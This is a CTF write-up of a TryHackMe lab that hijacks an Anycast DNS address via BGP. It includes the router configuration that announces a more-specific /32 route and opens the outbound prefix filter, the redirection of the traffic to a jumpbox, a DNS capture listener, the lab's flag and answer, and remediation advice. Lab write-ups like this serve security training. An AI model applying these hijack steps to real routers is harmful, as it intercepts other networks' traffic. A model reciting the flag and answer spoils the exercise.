15 Nov 2026 / TryHackMe
Operation Reroute – BGP Prefix Hijacking
TryHackMe lab: A more-specific BGP route redirects Anycast DNS traffic to our jumpbox for capture.
On this page
Engagement type: CTF / pentest (authorized TryHackMe lab environment) Date: 2026-11-15 Target machine (deployment IP): 10.113.157.150 Technique: BGP prefix hijacking using a more-specific /32 route against an Anycast DNS IP, followed by DNS capture
0. Task
“After hijacking the route, DNS1 starts receiving queries from the victim. What is the internal domain name the victim is trying to resolve?”
Answer: sekureapp.thm
Bonus flag (Base64 label in the query): THM{BGP_is_my_middle_name}
1. Scenario
TryRouteMe (TTM) operates a core router that we can access through a Kali jumpbox. Our goal is to capture a VIP victim’s DNS traffic. According to the briefing, the victim is not a TTM customer, and two DNS servers share the IP address 10.10.10.10 (Anycast): one in our AS (AS1111), and another in AS3333. The victim in AS2222 currently uses the DNS server in AS3333 (DNS2).
The solution is to announce a more-specific BGP route for 10.10.10.10 from the TTM router. Forwarding uses the longest matching prefix; the /32 therefore takes precedence over the /24, regardless of the AS path associated with that less-specific route. This draws the victim’s traffic toward us.
2. Access and Reconnaissance
2.1 Checking Reachability
From the workstation, only the deployment IP 10.113.157.150 is reachable through the VPN. The internal lab networks (192.168.1.0/24, 10.10.10.0/24, and 192.168.2.0/24) sit behind this machine in the GNS3 emulation. A port scan of the deployment IP shows:
nmap -Pn -p- --min-rate 3000 10.113.157.150
# 22/tcp ssh (public-key authentication only)
# 80/tcp http (nginx default)
# 6001/tcp telnet -> GNS3 console
# 8003/tcp http (nginx, empty)
2.2 Kali Jumpbox
telnet 10.113.157.150 6001 drops us directly into a root shell on the GNS3 node kali-1
(the node marked “You are here”, 192.168.1.100).
Important: This GNS3 console is a single shared, stateful session. Multiple connections attach to the same PTY. After using
sshto access the router, return cleanly withexit; otherwise, subsequent commands may end up in the router CLI.
Kali’s interfaces and resolver configuration:
eth0 192.168.1.100/24 (default gateway 192.168.1.1)
resolv.conf: nameserver 10.10.10.10
Deployment note: On the first deployment, eth0 was missing on kali-1 because the GNS3 node
was not connected to the network. Terminating and redeploying the machine fixed this;
eth0 then had the address 192.168.1.100.
2.3 Router
ssh ttm@192.168.1.1 # Password: ttm2024
The login opens the FRRouting 10.0 CLI (vtysh) directly, with hostname TTM-CORE-01.
Attempting to start a Linux shell fails: ssh ttm@192.168.1.1 -t bash returns % Unknown command.
2.4 DNS1
nmap -Pn -sV 10.10.10.10
# 53/tcp open domain dnsmasq 2.90
DNS1 provides no SSH shell, so we cannot run tcpdump directly on it. The DNS queries we
want to capture use UDP/53.
3. BGP Analysis: Initial State
Connect with ssh ttm@192.168.1.1 to reach vtysh:
show ip bgp summary
# local AS 1111, router-id 192.168.1.1
# Neighbor 10.1.1.2 remote-AS 2222 (TIWS)
show ip bgp
# * 10.10.10.0/24 10.1.1.2 0 2222 3333 i <- path to DNS2 through AS2222/AS3333
# *> 0.0.0.0 32768 i <- local (DNS1)
# *> 192.168.2.0/24 10.1.1.2 0 2222 i <- victim's network
Relevant sections of show running-config:
interface eth2
ip address 10.10.10.1/24 # DNS1 (10.10.10.10) is directly connected here
router bgp 1111
neighbor 10.1.1.2 remote-as 2222
address-family ipv4 unicast
network 10.10.10.0/24
network 192.168.1.0/24
neighbor 10.1.1.2 prefix-list bgp-out out
ip prefix-list bgp-out seq 10 permit 192.168.1.0/24
ip prefix-list bgp-out seq 20 permit 10.10.10.0/24 # permits the /24, not more-specific routes
Key finding: We can originate a /32, but the outbound prefix list bgp-out does not
permit it. We must explicitly allow the /32 through that filter.
4. Capture Strategy
After the hijack, the victim’s DNS traffic would follow this path:
Victim (AS2222) → TIWS → TTM router (eth1→eth2) → DNS1.
We cannot capture packets directly on DNS1 because we have no shell there. Our router access is also limited to vtysh. The workaround is to:
Route the hijacked
/32from the router to our own Kali node, then capture UDP/53 there.
Assign the destination IP locally on Kali and start a small Python listener.
Kali has python3, but no tcpdump:
# On kali-1
ip addr add 10.10.10.10/32 dev eth0 # Accept packets addressed to 10.10.10.10
# Save the DNS listener (prints QNAMEs) to /tmp/dns.py, then run:
nohup python3 /tmp/dns.py >/tmp/dns.out 2>&1 &
ss -lunp | grep :53 # Confirm Python is listening on 0.0.0.0:53
The listener binds to UDP/53, parses the QNAME following the 12-byte DNS header as a sequence of length-prefixed labels, and logs it.
5. Performing the Hijack
Connect with ssh ttm@192.168.1.1 to reach vtysh:
configure terminal
ip prefix-list bgp-out seq 15 permit 10.10.10.10/32 # Permit the outbound /32
ip route 10.10.10.10/32 192.168.1.100 # Forward redirected traffic to Kali
router bgp 1111
address-family ipv4 unicast
network 10.10.10.10/32 # Announce the /32 through BGP
end
Verification:
show ip bgp 10.10.10.10/32
# Advertised to non peer-group peers: 10.1.1.2 <- announced to TIWS
# Local, best
show ip bgp neighbors 10.1.1.2 advertised-routes
# *> 10.10.10.10/32 0.0.0.0 32768 i <- /32 advertised to AS2222
show ip route 10.10.10.10
# Known via "static" ... * 192.168.1.100, via eth0 <- forwarding to Kali is active
6. Results
Shortly after the hijack, the victim’s queries arrived on Kali:
16:21:49 from 192.168.2.100 QNAME=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
16:21:50 from 192.168.2.100 QNAME=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
... (repeated)
- Internal domain (task answer):
sekureapp.thm - Full QNAME:
VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm - The leftmost label is Base64-encoded and contains a flag exfiltrated over DNS:
echo "VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K" | base64 -d
# THM{BGP_is_my_middle_name}
7. Impact and Remediation
Impact: In this lab, an operator controlling a single AS can attract traffic for another network’s destination—even an Anycast address—by announcing a more-specific prefix. Here, this redirects the victim’s DNS traffic from another AS, enabling capture and potentially DNS spoofing or manipulation. The DNS labels also carry a Base64-encoded exfiltration payload.
Countermeasures:
- Apply RPKI/ROA origin validation and reject invalid announcements.
- Enforce strict per-peer prefix filters, including permitted prefix lengths. Do not accept or propagate more-specific routes outside the peer’s authorized prefixes and ROA maximum lengths.
- Use peer authentication (TCP-AO/MD5) and monitor unexpected announcements.
- Harden router access: avoid plaintext passwords such as
ttm2024in configurations and restrict direct CLI access from a potentially compromised jumpbox.